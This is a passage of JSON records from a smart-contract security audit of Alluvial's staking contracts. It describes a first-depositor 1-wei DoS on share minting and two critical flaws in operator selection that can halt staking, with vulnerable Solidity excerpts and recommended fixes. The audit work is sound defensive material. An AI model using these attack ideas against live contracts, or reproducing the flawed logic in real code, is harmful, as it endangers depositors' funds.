unaware of its deposited validators on the beacon change. Any possible path to_mintRawShares\n(which could causeShares.get()to increase) is also blocked and _totalSupply()would stay at 0.\n\n\nSo even after validators, oracle members, etc.. become active, when an allowed user deposits they would receive\n0 shares.\n\nNote, that an attacker can turn this into a DoS attack for theRiverProtocol, since redeployment alone would not\nsolve this issue. The attacker can monitor the mempool and always try to be 1st person to force deposit1 weiinto\ntheRiverdeployed contract.\n\n**Alluvial:** If we change the condition that checks if the old underlying asset balance is zero to checking if the total\nshares is under a minimum amount (so we would mint 1:1 as long as we haven't reached that value) would it solve\nthe issue? This minimum value can beDEPOSIT_SIZEas the price per share should be 1:1 anyway as no revenue\nwas generated.\n\n**Spearbit:** Yes, this would solve this issue. Alluvial can also as part of an atomic deployment send1 weiand mint\nthe corresponding share using a call to the internal function_mintRawShares.\n\nAlso note, we should remove the check foroldTotalAssetBalance == 0asoldTotalAssetBalanceis used as\nthe denominator forsharesToMint. There could be some edge scenarios where the_totalSupply()is positive\nbutoldTotalAssetBalanceis 0. So if extra checks are introduced for_totalSupply(), we should still keep the\ncheck or a modified version foroldTotalAssetBalance.\n\n**Spearbit:** In PR:\n\n- [SPEARBIT/4] Add a ethToDeposit storage var that accounts for incoming ETH\n\nAlluvial introduces BalanceToDeposit storage variable. This variable is basically replacing ad-\ndress(this).balanceforRiverin multiple places including_assetBalance()function. TheBalanceToDeposit\ncan only be modified when:\n\n1. An allowed user deposits intoRiverwhich will increaseBalanceToDepositand also total minted shares\n2. An entity (in later commits only theadmincan call this endpoint) callsdepositToConsensusLayerwhich\n might reduce theBalanceToDepositamount but the net effect on_assetBalance()would be zero. That\n would also meanBalanceToDepositshould have been non-zero to begin with.\n3. A call tosetConsensusLayerDataby the Oracle (originated by a call toreportConsensusLayerDataby an\n oracle member) which will pull fees fromELFeeRecipientAddress(in later commits it will only pull fees if\n needed and up to a max amount) and would increaseBalanceToDeposit.\n\nNote the attack in this issue works by making sure_assetBalance()is non-zero while_totalSupply()is zero.\nThat means we cannot afford a call to end up at_onEarningsfor this scheme to work. Since if_totalSupply()\n== 0,_onEarningswould revert. That means even with a malicious group of oracle members reporting wrong\ndata, if a call ends up atsetConsensusLayerDatawith_validatorCount = 0and_validatorTotalBalance >\n0 ,_onEarningswould trip. Also if the oracle members are not malicious and just report_validatorCount = 0\nand_validatorTotalBalance = 0, but an attacker force sends1 weitoELFeeRecipientAddress, the same thing\nhappens again and_onEarningswould revert since no shares are minted yet, That means all the possible ways to\nhave a net positive effect onBalanceToDeposit(and thus_assetBalance()) while keeping_totalSupply()zero\nis blocked. But\n\n```\n_assetBalance() = (\nBalanceToDeposit.get() +\nCLValidatorTotalBalance.get() +\n(DepositedValidatorCount.get() - CLValidatorCount.get()) *\n,! ConsensusLayerDepositManagerV1.DEPOSIT_SIZE\n);\n```\nor\n\n```\nB=D+Bv+ 32(Cd\u0000Cv)\n```\nwhere:\n\n- Bis_assetBalance()\n\n\n- DisBalanceToDeposit.get()\n- BvisCLValidatorTotalBalance.get()\n- CdisDepositedValidatorCount.get()\n- CvisCLValidatorCount.get()\n\nAlsoCv\u0014Cdis an invariant. Bv,Cvare only set insetConsensusLayerDataand thus can only be changed by\na quorum of oracle members. Cdonly increases and is only set indepositToConsensusLayerand requires a\npositiveD. After a call todepositToConsensusLayer,\u0001D=\u0000 32 \u0001Cd(\u0001B= 0 ).\n\nThus putting all this info together, all the possible points of attack to make sureBwill be positive while keeping\n_totalSupply()zero are blocked.\n\n**A note for the future** : when users are able to withdraw their investment and burn their shares if all users withdraw\nand due to some rounding errors or other causesBstays positive, then the next user to deposit and mint a share\nwould receive zero shares.","dataSource":{"name":"spearbit/portfolio","repo":"https://github.com/spearbit/portfolio","url":"https://github.com/spearbit/portfolio/blob/master/pdfs/Alluvial-Spearbit-Security-Review.pdf"}}
{"title":"6.1.2 Operators._hasFundableKeysreturnstruefor operators that do not have fundable keys","severity":"critical","body":"**Severity:** Critical Risk\n\n**Context:** Operators.sol#L149-L\n\n**Description:** Because_hasFundableKeysusesoperator.stoppedin the check, an operator without fundable\nkeys be validated and returntrue.\n\nScenario: Op1 has\n\n- keys = 10\n- limit = 10\n- funded = 10\n- stopped = 10\n\nThis means that all the keys got funded, but also \"exited\". Because of how_hasFundableKeysis made, when you\ncall_hasFundableKeys(op1)it will returntrueeven if the operator does not have keys available to be funded.\n\nBy returningtrue, the operator gets wrongly included ingetAllFundablereturned array. That function is critical\nbecause it is the one used bypickNextValidatorsthat picks the next validator to be selected and stake delegate\nuser ETH.\n\nBecause of this issue in_hasFundableKeysalso the issueOperatorsRegistry._getNextValidatorsFromActive-\nOperatorscan DOS Alluvial staking if there's an operator withfunded==stoppedandfunded == min(limit,\nkeys)can happen DOSing the contract that will always makepickNextValidatorsreturn empty.\n\nCheckAppendixfor a test case to reproduce this issue.\n\n**Recommendation:** Alluvial should reimplement the logic ofOperators. _hasFundableKeysthat should return\ntrueif and only if the operator is active and has fundable keys. The attributestoppedshould not be used.\n\n**Alluvial:** Recommendations implemented in PR SPEARBIT/3.\n\n**Spearbit:** Acknowledged.","dataSource":{"name":"spearbit/portfolio","repo":"https://github.com/spearbit/portfolio","url":"https://github.com/spearbit/portfolio/blob/master/pdfs/Alluvial-Spearbit-Security-Review.pdf"}}
{"title":"**6.1.3** OperatorsRegistry._getNextValidatorsFromActiveOperators **can DOS Alluvial staking if there's an","severity":"critical","body":"operator with** funded==stopped **and** funded == min(limit, keys)\n\n**Severity:** Critical Risk\n\n**Context:** OperatorsRegistry.1.sol#L403-L\n\n**Description:** This issue is also related to OperatorsRegistry._getNextValidatorsFromActiveOperators\nshould not considerstoppedwhen picking a validator.\n\nConsider a scenario where we have\n\n```\nOp at index 0\nname op\nactive true\nlimit 10\nfunded 10\nstopped 10\nkeys 10\n```\n```\nOp at index 1\nname op\nactive true\nlimit 10\nfunded 0\nstopped 0\nkeys 10\n```\nIn this case,\n\n- Op1 got all 10 keys funded and exited. Because it haskeys=10andlimit=10it means that it has no more\n keys to get funded again.\n- Op2 instead has still 10 approved keys to be funded.\n\nBecause of how the selection of the picked validator works\n\n```\nuint256 selectedOperatorIndex = 0;\nfor (uint256 idx = 1; idx < operators.length;) {\nif (\noperators[idx].funded - operators[idx].stopped\n< operators[selectedOperatorIndex].funded - operators[selectedOperatorIndex].stopped\n) {\nselectedOperatorIndex = idx;\n}\nunchecked {\n++idx;\n}\n}\n```\nWhen the function finds an operator with funded == stopped it will pick that operator because 0 <\noperators[selectedOperatorIndex].funded - operators[selectedOperatorIndex].stopped.\n\nAfter the loop ends,selectedOperatorIndexwill be the index of an operator that has no more validators to be\nfunded (for this scenario). Because of this, the following code\n\n```\nuint256 selectedOperatorAvailableKeys = Uint256Lib.min(\noperators[selectedOperatorIndex].keys,\noperators[selectedOperatorIndex].limit\n) - operators[selectedOperatorIndex].funded;\n```\nwhen executed on Op1 it will setselectedOperatorAvailableKeys = 0and as a result, the function will return\nreturn (new bytes[](0), new bytes[](0));.\n\n\nIn this scenario whenstopped==fundedand there are no keys available to be funded (funded == min(limit,\nkeys)) the function will **always** return an empty result, breaking thepickNextValidatorsmechanism that won't\nbe able to stake user's deposited ETH anymore even if there are operators with fundable validators.\n\nCheck theAppendixfor a test case to reproduce this issue.\n\n**Recommendation:** Alluvial should\n\n- reimplement the logic ofOperators. _hasFundableKeysthat should select only active operators with fund-\n able keys without using thestoppedattribute.\n- reimplement the logic inside theOperatorsRegistry. _getNextValidatorsFromActiveOperatorsloop to\n correctly pick the active operator with the higher number of fundable keys without using thestoppedattribute.\n\n**Alluvial:** Recommendation implemented in SPEARBIT/3.\n\n**Spearbit:** Acknowledged.","dataSource":{"name":"spearbit/portfolio","repo":"https://github.com/spearbit/portfolio","url":"https://github.com/spearbit/portfolio/blob/master/pdfs/Alluvial-Spearbit-Security-Review.pdf"}}